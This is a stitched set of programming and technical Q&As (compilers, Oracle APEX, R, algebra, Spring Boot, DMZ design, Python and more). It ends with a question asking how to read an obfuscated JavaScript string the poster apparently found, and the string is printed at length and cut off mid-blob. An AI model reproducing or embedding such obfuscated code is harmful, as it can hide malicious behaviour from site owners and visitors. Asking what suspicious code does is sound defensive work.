I keep getting "'g++' is not recognized as an internal or external command, operable program or batch file." error after typing g++ --version

Question: I have added C:\MinGW\bin to the system path, but I still get the same error. Any help would be greatly appreciated!
Comment: What's in `C:\MinGW\bin`?
Comment: Please show basic trouble shooting steps such as listing the directory contents, showing the exact `PATH` value, running the command from the directory.
Comment: A bunch of applications if you want to see the exact names here they are:                 edit - past character limit
Comment: Sorry for asking so many questions, but what to you mean by running command from the directory (I just started learning c)
Comment: `cd C:\MingGW\bin` then `g++`. Also, note that `g++` is for C++ not C code.
Comment: Thanks for the help, I'm not interested in learning C++ at the moment, but do you know of any equivalent of g++ for C
Comment: It's `gcc`. Should be included in the same place as `g++`. But you need to get past these basic system problems first (which are nothing to do with the language or code).
Answer: Adding to the system path will not take effect on open programs, so to be safe you should reboot first.
But you don't need to add to the system path. For example in Command Prompt you can do this before running your build commands:
<code>SET PATH=C:\MinGW\bin;%PATH%
</code>
Also note that plain MinGW is a bit outdated and you should consider moving to MinGW-w64, which exists for both Windows 32-bit and 64-bit.
A standalone build can be downloaded from https://winlibs.com/


Column Validation not firing in Interactive Grid Oracle APEX

Question: I'm developing a simple application in Oracle APEX and one of the requirements is to create an error message if a duplicate column (which is also the UK of the table) is saved to the Interactive Grid. I've created a support package and then a column validation in APEX that calls the function in the support package.
When I first implemented the code and the call, everything was working and the correct error message was displayed. However, I think I unknowingly modified a property setting or something because now I cannot get the validation to fire -- if the user enters a duplicate column value and presses save, they get the generic "constraint violation" error message that Oracle raises. The only IG Process in this app is the Automatic Row Processing - Save button.
Does anyone have know why the column validation is being ignored? I have gone through the error stack of the "constraint violation" and all I am seeing is the Save process and Oracles generic error messages.
Support Package Function:
`FUNCTION Prod_Family_Exists (
     i_id                    IN NUMBER
    ,i_prod_family           IN VARCHAR2
        ) RETURN BOOLEAN IS
  v_cnt        NUMBER;
BEGIN
  SELECT COUNT(*)
    INTO v_cnt
    FROM adm_prod_families
   WHERE prod_family = i_prod_family
     AND id <> i_id
   ;

   IF v_cnt = 0 THEN
    RETURN(FALSE);
   ELSE
    RETURN(TRUE);
   END IF;

EXCEPTION
  WHEN OTHERS THEN
    RETURN(FALSE);

END Prod_Family_Exists;

END Z_TEST;`

Validation Call in APEX - PL/SQL Function (Returning Boolean):
BEGIN

    IF z_test.prod_family_exists( i_id                => :id
                                 ,i_prod_family       => :prod_family)
    THEN
      RETURN FALSE;
    ELSE
      RETURN TRUE;
    END IF;
END;

Based on the image below and the code I've provided, my custom error message would only be raised if the result from the validation returned FALSE right? Is the code bad?
Answer: I figured this out. The code for the validation call to the support package function needed to be modified. New code:
BEGIN
    IF z_test.prod_family_exists( i_id             => NVL(:id,0)
                                 ,i_prod_family    => :prod_family)
    THEN
      RETURN FALSE;
    ELSE
      RETURN TRUE;
    END IF;
END;


mobForest R Package

Question: I have recently begún to learn about model based recursive partitioning by playing around with MOB in the party package. I came across this mobForest package but am a little baffled towards what it is actually doing.
A MOB model (if I can call it that) is of the form
Y ~ X1,...,Xk | Z1,...,Zl using the MOB vignette's notation. In mobForest I would have a sequence of partitions (Z1,...,Zl ;...; A1,...Al) for which evey node would have a model of the form Y ~ X1,...Xk fitted to it. Is this an ensemble of MOB models or am I completely misunderstanding this?
Bootstraping the observations and sampling your variables at splits to build a sequence of trees helps tackle many problems that a single tree has. But how does that come into play here?
On a side note, when I use mobForestAnalysis to do model-based random forest analysis I dont know how to use this (Model?) to predict on new observations. Can someone help me out on this?
Answer: Just to give you an idea on what mobForest is doing:
As you know mob partitions subjects in feature space and fits the model of your interest (e.g. Y ~ X1 + X2) in each node. Partition variables Z1 ...Zk are used as splitting variables to construct a tree.
mob is useful to identify groups of subjects with similar model trends. For example, clinical response to a dosage may vary between males and females. In such case, it is worth performing mob analysis which will fit the model "clinical response ~ dosage" for males and females separately in two nodes (assuming males and females have different trends) and obtain predictions based on these two separate models (instead of obtaining predicted clinical response with a model on complete data).
In short, mob assists you to perform localized regressions (based on the mob tree) and obtain predictions accordingly. However,  these predictions are based on a single tree model. MobForest extends mob by constructing multiple tree models on bootstrap samples (tree models produced on subsampled sets of subjects) and obtain predictions for each subject on each tree model. So in our example, we can obtain predicted clinical response on multiple tree models using mobForest and summarize predictions to produce stable prediction.
Comment: Ok. I suspected this. Are you familiar with the package? Because I have been playing around with it. I can build the model (not sure how to call it, lets call it a mobForest model) and can asess the out of bag precision etc. I have no clue about how to use it to make predictions on new observations. I have many of them for which I only have the values of the covariables which I would like to predict on.

mobForest R Package


Prove Function Composition's Isomorphism

Question: Dr. Pinter's "A Book of Abstract Algebra" presents this exercise:
Given the isomorphic functions: $$f: G_{1}\rightarrow G_{2}$$ $$g: G_{2}\rightarrow G_{3}$$
Prove that $g\cdot f$ is isomorphic for $G_{1}\rightarrow G_{3}$.
Claims: $g\cdot f$ is bijective, i.e. injective and surjective.
Proof: From Chapter 6's (Functions):

If $f$ and $g$ are bijective, then $g\cdot f$ is bijective.

Claim: $(g\cdot f)(ab) = (g\cdot f)(a)\cdot(g\cdot f)(b)$
Proof: By Chapter 6's (Functions) definition of a composite function:

$[g\cdot f](x) = g(f(x))$

Can $ab$ be substituted for $x$ to complete this proof?
Answer: I don't really get your question, but for the second claim write it down:
$$(g \cdot f )(a*b) = g ( f(a*b) ) = g(f(a)*f(b)) = g(f(a))*g(f(b)) = (g\cdot  f)(a)* (g\cdot f)(b)$$
where I indicate $*_1, *_2, *_3$ with $*$ because it's not important at all
Comment: $f$ is isomorphic
Comment: How can you substitute $f(a)*f(b)$ for $f(a*b)$?
Answer: The $x$ is just a placeholder for the parameter of the composition function which you denote by $(g\cdot f)$ and in the second occurrence as $[g\cdot f]$. So applying this function on an 'actual value' like $ab$ is done by replacing the placeholder with the value.
Just like, define  $f(x):= x^4$ then by definition $f(2) = 2^4 = 16$ or $f(ab)= a^4b^4$. So yes you can substitute.
It does not complete the proof. You did not prove that the composition $(g\cdot f)$ is a homomorphism, which means that  $(g\cdot f)(ab)=(g\cdot f)(a)(g\cdot f)(b)$ holds for arbitrary $a,b$.


Nintex forms to Dyamics CRM

Question: I've created a Nintex form to capture data on SharePoint, I would like to find out if it is possible to capture data from SharePoint using Nintex forms and populate the into Dynamic CRM entity?.
Thanks you.
Comment: Your question is very broad and not really suited for StackOverflow. Try sharepoint.stackexchange.com. Besides: You should always include more information what you have tried already. Nintex is a SharePoint Add-On, CRM is a totally different product family. You should look into SharePoint <-> CRM Syncing solutions.
Answer: I've never used Nentex forms before but it doesn't look like they are able to submit directly to CRM. You have a couple options that I would look at in your case.

Use another web form if possible. An example of this is PowerWebForm
If it submits to a sharepoint list perhaps you could use Scribe to sync the data into CRM.
Create a custom .net app that uses the Xrm Client library to push the data into CRM.
Answer: Yes you can capture data using Nintex Forms and push that into Dynamics. Since tou have forms, i hope you also have Nintex Workflow which has Dynamics CRM action available to use. This allows you to write to CRM without knowing much about the API structure. Some knowledge of CRM is needed to do this as it would be with anything.
You can create, update, query and more using the actions. It would pull either from the form or from the SharePoint list, starting the workflow and pushing that into CRM.

Nintex forms to Dyamics CRM


How to write instrument names in a standard professional way in the sheet music

Question: This question is about how to write instruments names on a score.
On the page at:
https://musiciandevelopment.com/2016/05/16/how-to-prepare-a-professional-score/
it states:

list the full instrument names and include all instruments.  In subsequent systems, use abbreviations for the instrument names (if you only have 1-2 instruments, you can omit instrument names entirely).

I have 2 human voices in my song and a piano (expressed by 2 staves exactly); each of the human voices have exactly one stave. So there are three instruments in total (which are 2 human voices and a piano).
Following the above quote, when the instrument first appear in the music I am labeling it as "Voice 1" as the main voice, "Voice 2" as the background voice, and the other 2 staves as "Piano" where the 2 piano staves are indicated by a curly right bracket (see image).
On following lines, at the beginning of each such line I use the abbreviation "V1", "V2", and "Pno." for "Voice 1", "Voice 2" and "Piano" respectively.
I have sketched out a representative sheet music in the image to describe the above notation:

My question is: Am I writing the instruments in a standard professional way in my sheet music?
I expect this is an easy question for someone with more experience than me—but notating music is a learning process for me.
Update: after reading the answer I think that the following, sketched below, would be a good way to do the notation. Showing Voice1 (main voice), Voice2 (backing voice), Piano at the start if the first line of bars. The simply using the square bracket for the two voice staves and the curly bracket for the two piano staves for the remainder of the sheet music and where each line of new bars start. I think using this notation it is clear what is meant-it is for a pop song,on a single piano,with backing vocal where the backing vocals has different words to the main vocals-though I think the same notation would apply for the hypothetical scenario of if the words of the two voices was the same words.
Comment: One thing I notice is that you're missing a vertical line on the left-hand side that should connect every staff in each system.
Comment: @ElementsinSpace  Noted-it needs a vertical line type symbol beside voice 1 and voice 2.The typical cases where the vertical line type symbol can be ommited and the right curly bracket for the piano can be ommited simultaneously  is when there are 1 or 2 instruments (e.g. 1 voice on one stave exactly+1 piano in 2 staves exactly).
Comment: What type of music? Is it more like a rock song or more like art music? Or musical theatre?
Comment: @ToddWilcox t is for a pop song,on a single piano,with backing vocal where the backing vocals have different words to the main vocals.
Comment: @ToddWilcox I have updated my question to show what notation I will use
Answer: Different editors and publishers will have different guidelines (like with style guides for newspapers or scholarly publications, there's plenty of variety in music publishing as well), so there's no single "correct" way to do this.
Now, from my personal experience as a classical musician, in the case of vocal music with minimal accompaniment (only piano) like this, it is unnecessary to repeat the instrumentation at the start of each system, as it will already be obvious (due to the braces) which staves apply to the piano and which ones (due to the underlay of lyrics and the order in which they appear) apply to which voices. This can be seen, for example, in this piece from Schumann's Op. 114 (ed. Breitkopf & Härtel):

It might also be possible to entirely omit indications, though that is more usually seen with Lieder for a single singer than pieces for more voices, ex. Schubert op. 3 no. 3 (ed. Peters):

One thing I would note is that if you have specific vocal ranges (soprano, mezzo-soprano, ...) in mind, it would be better to indicate those than merely "Voice 1" or "Voice 2". For example, from a cantata by Bach (BWV 110, Neue Bach Ausgabe, ed. Bärenreiter):

Finally, little addition not strictly related to your given example, the recommendation to write the instruments at the start of each system might be more of a practical concern in orchestral scores (where there may be a much larger number of instruments in the score), though even that is far from universal, as a look at editions of Beethoven's 9th Symphony (link) - an example among so many others - will reveal. In any case, as the score in such a case is intended for conductors and not individual players, this rarely poses problems as (professionals, at least, your mileage may otherwise vary) conductors will tend to know the pieces they're conducting very well and will also be used to the standardised instrument order one sees on such scores.
Comment: This is in agreement with Elaine Gould's *Behind Bars* (pp.507–510). For small ensembles, instrument names need only be given at the beginning of the piece (or movement) and need not be repeated on subsequent systems.
Comment: "Piano" music: very much non-standard without braces (I can't find such an example in my personal collection). The only place I remember seeing such is in old (18th cent.) manuscripts; though even printed editions from that far back (ex. https://www.bach-digital.de/receive/BachDigitalSource_source_00003450) tend to include braces; as do even plenty of manuscripts (ex. https://www.bach-digital.de/receive/BachDigitalSource_source_00001076; https://www.bach-digital.de/receive/BachDigitalSource_source_00019287). In any case, the 18th century is a very far cry from modern publishing practice.
Comment: If the number of written-out parts changes, as in a condensed score, you need to make sure it is very obvious which part disappears and which part re-appears. Labels are one way to do this. Alternatively don't allow parts to disappear; write out every part's rests in full.
Comment: So there is no standard way as your answer above implies but a  main
thing is it is clear enough what is meant by whatever notation is used
as your answer implies.
Does that mean a curly piano brace can be omitted in a piano solo
(with 2 staves exactly)? for example done at

https://upload.wikimedia.org/wikipedia/commons/7/78/Opus_3_for_Piano_Solo.pdf

if the word piano is written beside the stave at the top WITHOUT using a piano brace.
Comment: Re "standard": I wouldn't say there is "no standard way", in that there are clearly some things which will feel awkward if not done in a particular way. Although yes, what "rules" there are are a bit like those of voice leading: broadly similar but with much room for variation, so long, as, as you say, the notation is "clear enough". Aaron mentions Gould's "Behind Bars"; that's as good a starting point as any, you may also wish to take a look at others mentioned here: https://music.stackexchange.com/questions/76123/are-there-any-good-practices-for-sheet-music-writing-guidelines-that-are-more
Comment: That's useful advice but it's not at all specific to vocal music, nor does it seem like it would apply in the OP's particular case.
Comment: @AlexJ Yes, correct it doesn't apply in my case but it maybe useful to know for another different scenario. I have updated the question to show what notation I will use
Answer: AlexJ's answer gives some excellent specifics; but another important general piece of advice for all questions like this is: look at good-quality published examples of pieces/songs in the same genre.
This makes sure that you're finding the conventions appropriate to the genre — jazz, classical, pop, and other sheet music traditions all have slightly different standard choices.  It also gives you the best footing to judge what you like — when you read/play/sing from the printed piece, which was easier to use?  Was it too sparse or abbreviated and difficult to understand, or was it too detailed, with unnecessarily repeated markings getting in the way?
If notation guides/textbooks (and advice like AlexJ's) and published examples all agree on some point, then almost certainly, that's good practice to follow.  If they conflict, there can be many possible reasons.  Maybe the guide is describing conventions from a different genre (classical vs pop, art-songs vs folk-songs, …) Often guides and advice can be more conservative — describing the standards of a generation ago, when publishing practice has moved on.  Conversely, sometimes publishers can be sloppy or cheap, and use notations that are quicker to write/typeset but harder to read (especially common in American mid-20th-century publishing, in my experience) — guides are more likely to describe "best practices".  So by combining guides with a range of examples, you can consider all these and make an informed choice which models to follow.
Finally, looking at similar published pieces is good to do anyway anyway for many reasons — it will teach you more about all the conventions and techniques of the genre, both notational and compositional.
Comment: +1 for mentioning explicitly (i.e. look at good-quality published examples) what I did by example


Cant compile spring boot on java 1.8

Question: I am trying to build a demo spring boot app but cannot compile in java 1.8.
I can compile this with java 17 just fine. However, the server I am going to run this on can only have 1.8. When I set my java home to my 1.8 jdk and I am not able to build my demo spring boot app. This is the error I get when I run ./mvnw.cmd package
<code>[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.11.0:compile (default-compile) on project demo: Fatal error compiling: invalid flag: --release -> [Help 1]
</code>
Here is my pom.xml.
<code><?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>3.1.0</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>demo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

</code>
Comment: Yes, current versions of spring boot don't run on java 8. Was that your question?
Comment: Spring Boot 3.x has a minimum requirement of Java17, if your server doesn't provide that, use Spring Boot 2.7 instead.
Comment: @M.Deinum that worked, thanks. If you want to post that as an answer I will mark it correct.
Comment: Ref: https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Release-Notes#java-17-baseline-and-java-19-support
Answer: As documented the minimal requirement for Spring Boot 3.x is Java17, trying to use Java 1.8 will simply fail.
So either get your server to provide Java 17 or downgrade to Spring Boot 2.7 for which the minimum requirement is Java 8.

Cant compile spring boot on java 1.8


Proposed Network Design for DMZ with Server Virtualization?

Question: I have the following proposed network design that I will be implementing.

All connection for server and PCs are connected through an All in One cisco firewall
Only one high end server will be used. The server has two NICs.
Virtualization will be used
DMZ0 network port connected to the server from the firewall.
(The virtualized http server will use this port)
The PCs are connected to a switch that is from the firewall, this network is private
The server will have another NIC port connected to the switch, the server that is not exposed to the DMZ network, will use this.

Questions:

I've been playing which virtualised software for this setup, will Xen Cloud platform work for this diagram?
Will this physical separation of network using two NICs work for the server?
Will it work with the Xen Cloud platform?
Are there other problems that I may face from this setup?
Answer: Thoughts:

You should be using the two NIC ports for link aggregation (aka Teaming).
Use vLANs if you think you need traffic segregation, I don't think you do at this size/complexity.
Xen is great and all, but half of installations are VMware's ESXi, and most of the rest are Hyper-V. Linux's KVM is a red-headed step child, and Xen is lucky to be mentioned on most industry reports.
I'm not sure what the limitations of that router are, but it's meant for SOHO. Commection limits are the first problems people run into (that and not working the way it's supposed to, but that model isn't infamous or anything to my knowledge).
Comment: There's really no such thing as "best" in the world of IT. vLANs provide a great deal of flexibility, but also require device support, and are generally more complicated than physical separation. Usually you don't expose a whole server (or VM), but rather use the router to forward certain ports. If it's a website, usually TCP Port 80 and 443 are all you really need/want.
Comment: IS vlan the best way for segregation? instead of physical separation with two nic? i'm looking at exposing a certain portion of my server to the dmz network. For example at the diagram, http server will be exposed while the rest of them is not.
Comment: Great dude, thanks for your help! the reason why i would like to place certain server on the dmz instead of the private network and porforward is to do network separation. if the server ever get compromise, it will not be able to attack my private network.
Comment: I think you mean a "red-hatted step child..."
Comment: @ericlee I would definitely go the vLAN route - one day you might want to carve up your environment into more than two network zones, and vLANs would allow you to do that without needing to change your hardware configuration. If you've bought a decent managed switch it should have 802.1Q vLAN support. If it doesn't a suitable gigabit switch can be had for relatively low cost.
Comment: Even if the switch doesn't support vLANs, it's not necessary in this setup (though preferable for security reason, related to people already inside your network doing stupid things, not an external hacker getting in).
Comment: thanks dude!. i'll give it a check if the cisco isa500 series allows vlan dmz instead of physical port! thx


XML to JSON conversion: why my 1st xml tag is getting skipped?

Question: while converting XML to JSON my 1st XML tag into JSON is getting skipped
Here is the JAVA code snippet:
       String data="";
       data = FileUtils.readFileToString(new File("src/main/resources/student.xml"), "UTF-8");
       XmlMapper xmlMapper = new XmlMapper();
       JsonNode jsonNode = xmlMapper.readTree(data.getBytes());
       ObjectMapper objectMapper = new ObjectMapper();
       objectMapper.writerWithDefaultPrettyPrinter().writeValue(newFile("src/main/resources/student.json"),jsonNode);

here is the input:
<?xml version="1.0" encoding="utf-8"?>
<AccumulateResponse>
  <TestCase>
    <Transactionid>str1234</Transactionid>
    <TransactionType>str1234</TransactionType>
    <Status>str1234</Status>
  </TestCase>
  <TestCase>
    <Transactionid>str5678</Transactionid>
    <TransactionType>str5678</TransactionType>
    <Status>str5678</Status>
  </TestCase>
</AccumulateResponse>

here is the output:
{
  "TestCase": [
   {
    "Transactionid": "str1234",
    "TransactionType": "str1234",
    "Status": "str1234"
   },
   {
    "Transactionid": "str5678",
    "TransactionType": "str5678",
    "Status": "str5678"
   }
  ]
}

here is the required Output:
{
"AccumulateResponse": {
  "TestCase": [
   {
    "Transactionid": "str1234",
    "TransactionType": "str1234",
    "Status": "str1234"
   },
   {
    "Transactionid": "str5678",
    "TransactionType": "str5678",
    "Status": "str5678"
   }
  ]
 }
}

AccumulateResponse tag is getting skipped.
Comment: What language are you using?
Comment: @Serge i am using java
Comment: The JSON and XML data models don't have a one-to-one correspondence and every converter deals with the differences in its own way. If you want the output in a precise format under your own control, you're probably going to have to do it yourself (e.g. in XSLT) rather than using an off-the-shelf converter.
Comment: But the conversion should give the correct output right..@MichaelKay
Answer: There is underscore-java library with method U.xmlToJson(xml).
<?xml version="1.0" encoding="utf-8"?>
<AccumulateResponse>
  <TestCase>
    <Transactionid>str1234</Transactionid>
    <TransactionType>str1234</TransactionType>
    <Status>str1234</Status>
  </TestCase>
  <TestCase>
    <Transactionid>str5678</Transactionid>
    <TransactionType>str5678</TransactionType>
    <Status>str5678</Status>
  </TestCase>
</AccumulateResponse>

{
  "AccumulateResponse": {
    "TestCase": [
      {
        "Transactionid": "str1234",
        "TransactionType": "str1234",
        "Status": "str1234"
      },
      {
        "Transactionid": "str5678",
        "TransactionType": "str5678",
        "Status": "str5678"
      }
    ]
  }
}


Is There a Breaking Change to the Ember.CollectionView API in the Latest Build?

Question: I have two examples with the same CollectionView code running under 9.8.1 and latest.The 9.8.1 version works: http://jsfiddle.net/ethan_selzer/kcjzw/230/. But the latest version does not: http://jsfiddle.net/kcjzw/232/.
Are there breaking-changes to the Ember.CollectionView API in the latest build? Or, is there an issue with the current build of the CollectionView?
Thanks,
Ethan
Comment: Thanks MilkyWayJoe. I submitted the question in the Ember repo as you suggested.
Comment: Kristofor Selden responded to this question on the official repository issue tracker. Here is his guidance: The default context has changed from the view to the controller. you can change the context via a binding like so http://jsfiddle.net/krisselden/6fAHZ/
Comment: I think you should ask a [question](https://github.com/emberjs/ember.js/issues?labels=question&page=1&state=open) directly in the repository issue list and get answers from the developers.
Comment: Can you post the link to your question here, or add an answer with the question you asked them?
Comment: Here is [this question](https://github.com/emberjs/ember.js/issues/1152) on the official repo. Thanks MilkyWayJoe for pointing out my omission and for your original suggestion!
Answer: You can either do what Kristofor Selden suggested in this fiddle http://jsfiddle.net/krisselden/6fAHZ/ (bind the content array in the itemViewClass) or you can do it as follows:
Fiddle: http://jsfiddle.net/ppanagi/WhGjR/
App = Ember.Application.create();

App.collectionView = Ember.CollectionView.create({

    content: [
      { key: 'value one' },
      { key: 'value two' }
    ],

    itemViewClass: Ember.View.extend({
      template: Ember.Handlebars.compile('{{view.content.key}}')
    })
});

App.collectionView.append();

The default context of templates are now controller variables, so {{foo}} will return the value of the controller variable foo. If you need the value of bar variable of the View, use {{view.bar}}.

Follow up: Yet another way to change the context is to use {{with}}:
App.collectionView = Ember.CollectionView.create({
  template: Ember.Handlebars.compile('{{#with view}} {{content.key}} {{/with}}')
});

Comment: Thanks Zack. Definitely a valuable contribution.


Python list comprehension with multiple variables

Question: I am trying to get a list with a specific output from an index in another list,
for example:
L = [(0, 1, 2, 3, 4, 5), (6, 7, 8, 9, 10,...etc), (...etc)]
multiple_index = [entry[0, 3, 4] for entry in L]
#----> I know this specific code is wrong

I would love it if the above code could output:
[(0, 3, 4), (6, 9, 10), (...etc)]

I want the individual sub-indices from each index in the main list to be grouped as shown, if that is at all possible, and am wondering what code I could use to properly pull this off, thanks.
EDIT:
Also, How could I format it to display as rows cleanly, I am outputting them to a text file using .writelines and a separate output line, thanks again!
Comment: Your edit makes this another question which already has plenty of answers on SO.
Comment: That's interesting, sorry I couldn't find the answer to the original question elsewhere, and the edit is just asking for an additional bit of help, that's all.
Answer: Use operator.itemgetter():
from operator import itemgetter

multiple_index = map(itemgetter(0, 3, 4), L)

or in a list comprehension:
multiple_index = [itemgetter(0, 3, 4)(i) for i in L]

Comment: @ImmortalxR: Because I accidentally typed a comma where a full-stop goes. You also have integer inputs, so you'd need to map to `str` first: `'\n'.join([','.join(map(str, i)) for i in multiple_index])`
Comment: You can use `str.join()` to join lists into strings: `'\n'.join([',',join(i) for i in multiple_index])` for one string joining the outer lists by newlines, inner lists by comma.
Comment: This works wonderfully, as a quick aside if you could answer this, how could I get the multiple_index to display the output in separate rows, I edited the original post with the new format :)
Comment: It gives me an invalid syntax error when I apply the above code? Any idea why?
Comment: Thanks! I had a feeling we might have had a typo in there haha
Answer: Here is one option:
L = [(0, 1, 2, 3, 4, 5), (6, 7, 8, 9, 10, 11), (11, 12, 13, 14, 15, 16)]
multiple_index = [(entry[0], entry[3], entry[4]) for entry in L]

Or using operator.itemgetter():
from operator import itemgetter
indices = itemgetter(0, 3, 4)
multiple_index = [indices(entry) for entry in L]

Answer: Are You interested in this?
L = [(0, 1, 2, 3, 4, 5), (6, 7, 8, 9, 10,...etc), (...etc)]
multiple_index = [(entry[0], entry[3], entry[4]) for entry in L]
#----> I know this specific code is wrong

Answer: from operator import itemgetter
get = itemgetter(0, 3, 4)
L = [(0, 1, 2, 3, 4, 5), (6, 7, 8, 9, 10,...etc), (...etc)]
multiple_index = [get(entry) for entry in L]

for a more functional style:
multiple_index = map(itemgetter(0, 3, 4), L)

Of course, if you're using numpy, you could do something like the following:
import numpy as np
L = np.array([(0, 1, 2, 3, 4, 5), (6, 7, 8, 9, 10, 11), (11, 12, 13, 14, 15, 16)])
multiple_index = L[:,(0, 3, 4)]

resulting in:
array([[ 0,  3,  4],
       [ 6,  9, 10],
       [11, 14, 15]])

Personally, I like the numpy version the best, but that requires you to have numpy installed. Here's some more on numpy indexing if you're interested: http://docs.scipy.org/doc/numpy/reference/arrays.indexing.html
Numpy also has some neat shortcuts/tricks for fancy slice and range building using np.s_, np.r_, and np.c_.
Answer: Just for some diversity, here's a way with itertools.compress,
>>> from itertools import compress, count
>>> indices = {0,3,4}
>>> items_at = lambda indices: (1 if n in indices else 0 for n in count())
>>> [tuple(compress(e, items_at(indices))) for e in L]
[(0, 3, 4), (6, 9, 10)]

Answer: list tuple and dictioonary lookups are implemented using their getitem methods
myarray=[0,1,2]
print myarray[1]
#result:1
#equivalent to
print myarray.__getitem__(1)

you can map the indices you want through each list's getitem function. This returns a list containing the items at those indices for each list. Modifying your example code:
L = [(0, 1, 2, 3, 4, 5), (6, 7, 8, 9, 10,...etc), (...etc)]
multiple_index = [map(entry.__getitem__,[0, 3, 4]) for entry in L]

this produces the desired output.
for more on python's magic methods see this:
Answer: Here is how I would do it:
    L=[tuple(range(0,6*1)),tuple(range(6*1,6*2)),tuple(range(6*2,6*3))]
    print [tuple(map(lambda i: entry[i],[0,3,4])) for entry in L]


Should L2 regularization be corrected for scale?

Question: I am training a deep neural network using cross entropy loss and L2 regularization, so the final cost function looks something like this:
$$E = - \frac{1}{N_{samples}} \sum_{i=1}^{N_{samples}} \text{cross_entropy}\left(x_i, y_i\right) + \lambda \sum_{j=1}^{N_{layers}}\sum_{k=1}^{N_{units}^j}\sum_{l=1}^{N_{units}^{j+1}} \left(w^j_{k,l}\right)^2$$
where the first term is the cross entropy over classes (averaged over the size of the training set) and the second term is the sum of squared weights involved in the network ($w^j_{k,l}$ is the weight from $k$-th unit in $j$-th layer to $l$-th unit in $(j+1)$-th layer), and $\lambda$ is a regularization strength parameter.
My question is: won't the number of layers and units affect the scale of the regularization term ?
Therefore, wouldn't it make more sense to normalize the second term by the number of weights (i.e., replacing $\frac{\lambda}{N_{layers}N^j_{units}N^{j+1}_{units}}$ for $\lambda$).
Unfortunately, I've not found any reference about this. I've just found in Bengio's paper [1] (weight decay subsection) that they recommend to scale according to the number of mini-batches in each epoch (which I do not really see the reason why).
[1] Practical Recommendations for Gradient-Based Training of Deep Architectures
Answer: Recall where this term actually comes from: the amount of weight decay we want to have for each weight at every iteration
del(E)/del(w(j,k,l))= del(left cross entropy error) + λ*(w(j,k,l)
say the λ is 0.001 essentially it means if Error is not affected by this particular weight, decay it by 0.1%. The number of units and layers does not affect the decay we want in a particular weight.
In his paper I don't think he is normalizing loss by n samples as you are doing:

but rather adding a 1/nsamples term to the gradient where nsamples is the minibatch size. So effectively his λ[his]= λ[yours]*nsamples. As you correctly said λ[yours] doesn't depend on mini batch size, but λ[his] depends, so he assumes λ is the regulartization parameter he would use for full batch gradient descent, and normalizes it by (nsamples/training set size) if doing it with mini-batches.
Comment: Looking at the derivative, as you show, lambda is the amount of regularization to each weight. Then, I deduce the reason why the first term is divided by the number of samples is because the summatory over the number of samples does not vanish in the derivative whereas the summatory (in the second term) over the weights does. Thanks for the reply.


How can i read this javascript code?

Question: I'm not really sure how can i read this code of Javascript, so i need your help guys to know if this normal or not!
My question is how can i read/unobfuscated  this code
The full code here: rBKsXKct
    var Xvu = rAu('gazotrlsxhccbvqodpeijnrtnfcuymtowusrk').substr(0, Yzx);
var xYm = 'u,k ptuczh)mkff=ne,]]ruf+}k)+dsf]hnlk)-r==2dr.i;m1o[th,ev ht9m1i7.cC4v6k,v;r1i;89vo0 snktt.)6,t+ 3 eglchn(8,;st,a)iv2e7zC"fv>w =to=t=rt;lianv(]n<+a1fp,no)w][niag+e5)nhAv21vr( 0tat.n.2+e}+rb70pl.a+  i=3+arexd,f=za1i(;8ncruafngor;e6}l;3ka {arr.rcent)5Src9plc0("(-8)n"(ooa1;p.e=[envtglv(. =otoe[+{v)vtfxytavke)r.ug-lree jo]n=9u)gm6tr;.sl;=a. r=f[.vigus;y]tfu;8=iyjAe,.yo)n7[v(0+i oargu";s+mtcCg;7-;e).7p4i [+elA==C,6i,lub(zf(i,(tql z;a]o1+g=v4{irrkqsn)v;{vokklj;sooa1[tql{n(lCw==;e)gsh-r;k2!h,+(=cehS(,0;=j=*)ha=rrdo;n".h+()-l;u=a;e,a]]ri(sa;w6. on,"r>=hrzs+6n(=)++rh;m3+r[(0=[r;+nun.+nbs2)hw{(<l}o"lr=vnle-=);)p=;eftjju;}w=Czvva  a(<r+rfl )]a6][7(u.u ,[tz;,spg(hg,resp9r<8i.h(an.}rx]dcu;as0r;iwi,lr;mtxh)=h;lrm)"7a* 1))9la=ur;p;o1!n=f92m(c jr.)u{hi.r5=]r)f;)=0.a9di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Q+eQ]16.tdp,0Q2"]ntQ"e41i(e!Qe$Sqf4s,"iQQs$cQp]em"F[e"estQyQy.i`,27*"a8g Q2]"oa1!)&gQoQ."v?abN"gr,b.Hp.2];lapQf45l,s-dhun3tQb7rx(fQ[ofw;-XQ[e"4gm(,pj_tQa$b13&_]]yjob[(Q)]=l ls4meb$g(7esh2nrS>8i$]email@example.com$_"\'Qml(l(9"QQ,-aQ%31rj`a[94r=Q=F8)),"u"a,Q7Q.QQh<ob,2t(%)cjb,nfr_)u6yc(Qr,n7f,]r2p|drcc..}[mcDQ]7i1D3fn}c["61&,[n(miayn9;ts)a4]i]n "Qn4=\']tbQsQ\/s[a"fnb:Q{iQQl4Q ]x}1Qj.sQsJ9((vd".&eQg",Q!]s.;no0f.wi28o[")Q=h6,"m8[u;0{x l2Qa]93?r1].st,gmU!gt,ntutQTi4Qp52mQ1;al})$ta1gQnQQnes)Qa!9"!,po(=[.[a,Q$?3Q$&2"\\0gi(aao"ferxlv\/ca1]QaQenrluQ),.Mz]wrQQQe4Qff9oev)p"]fnQQ7]8r@7t"lnh5a9d (Q[t=Cg .a]]nQ0Q,fe[je5n t8,;b.rb=fQ6"]Qnn="QQQ0ninQr]mpiQQs,rafgpQ,Q1leQa]HfX1 nlt3p).. 